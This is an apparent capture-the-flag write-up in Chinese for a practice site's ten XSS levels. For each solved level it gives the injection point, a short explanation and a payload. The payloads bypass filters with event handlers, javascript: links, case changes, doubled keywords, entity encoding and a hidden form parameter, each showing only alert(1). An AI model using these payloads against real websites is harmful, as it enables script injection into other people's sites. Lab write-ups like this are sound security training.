# Writeup —【test.ctf8.com】 --- ## Level 01: 題目:http://test.ctf8.com/level1.php?keyword=good%20job ![](https://i.imgur.com/eMQLIbw.png) :::danger 注意地方: ::: :::info 解釋: ::: :::success 解法: ::: --- ## Level 02: 題目:http://test.ctf8.com/level2.php?keyword=test ![](https://i.imgur.com/S5m8S0F.png) :::danger 注意地方: ``` <input name="keyword" value="test"> ``` ::: :::info 解釋: 我們要先閉合標籤。 ::: :::success 解法: ``` "><script>alert(1)</script> ``` ::: --- ## Level 03: 題目:http://test.ctf8.com/level3.php?writing=wait ![](https://i.imgur.com/Fczaftx.png) :::danger 注意地方: (同樣) ::: :::info 解釋: 跟上題一樣,差在單引號。 然後再利用事件。 ::: :::success 解法: ``` ' onmouseover=alert(1)// ``` ::: --- ## Level 04: 題目:http://test.ctf8.com/level4.php?keyword=try%20harder! ![](https://i.imgur.com/BdkZBpJ.png) :::danger 注意地方: (同樣) ::: :::info 解釋: 很明顯在 keyword 的地方。 ::: :::success 解法: ``` " onclick=alert(1)// ``` ::: --- ## Level 05: 題目:http://test.ctf8.com/level5.php?keyword=find%20a%20way%20out! ![](https://i.imgur.com/LBEGqXK.png) :::danger 注意地方: (同樣) ::: :::info 解釋: 這題它會把「script」替換成「scr_ipt」,「on」替換成「o_n」。 我們可以試試看用「\<a\>」 ::: :::success 解法: ``` "><a href="javascript:alert(1)">yes</a>// ``` ::: --- ## Level 06: 題目:http://test.ctf8.com/level6.php?keyword=break%20it%20out! ![](https://i.imgur.com/qBWxYB0.png) :::danger 注意地方: (同樣) ::: :::info 解釋: 它會把「href」替換成「hr_ef」,「src」替換成「sr_c」,「data」替換成「da_ta」。 我們可以再試試看用成大寫。 ::: :::success 解法: ``` "><a HREF="javascript:alert(1)">yes</a>// ``` ::: --- ## Level 07: 題目:http://test.ctf8.com/level7.php?keyword=move%20up! ![](https://i.imgur.com/RhDABQn.png) :::danger 注意地方: (同樣) ::: :::info 解釋: 一樣用看看「href」,發現竟然會消失,先猜測她會替換掉「href」(直接消失)。 因此我們試試看「hrhrefef」(script 也是) ::: :::success 解法: ``` "><a hrhrefef="javascriscriptpt:alert(1)">yes</a>// ``` ::: --- ## Level 08: 題目:http://test.ctf8.com/level8.php ![](https://i.imgur.com/ak5pGvV.png) :::danger 注意地方: ``` <a href="">友情链接</a> ``` ::: :::info 解釋: 它會把輸入放在 href,因此我一開始想要直接用「javascrscriptipt:alert(1)」,但是他把「script」替換成「scr_ipt」。 可以試試看編碼。 ::: :::success 解法: ``` java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1) ``` ::: --- ## Level 09: 題目:http://test.ctf8.com/level9.php?keyword=not%20bad! ![](https://i.imgur.com/4DR5ljl.png) :::danger 注意地方: (同樣) ::: :::info 解釋: 但是這題會檢查有沒有包含「http://」(不過不一定要在開頭)。 可以包含然後註解它。 ::: :::success 解法: ``` java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http:// ``` ::: --- ## Level 10: 題目:http://test.ctf8.com/level10.php?keyword=well%20done! ![](https://i.imgur.com/k9Fb3xE.png) :::danger 注意地方: ::: :::info 解釋: 這題沒有給我們輸入的地方,不過 url 有 keyword 可以用。 發現輸入的會更改到下面的東西,嘗試閉合它。 (結果好像沒什麼用處) 再往下看有一個隱藏 form。 如果我們試著加上「?t_link=yes&t_history=yes&t_sort=yes」,發現表格有可以用的地方: ![](https://i.imgur.com/cZFioJy.png) 「t_sort」可以更動,因此我們就用這個下去解就好。 ::: :::success 解法: ``` ?t_sort=" type=image src=x onerror=alert(1)// ``` ::: ---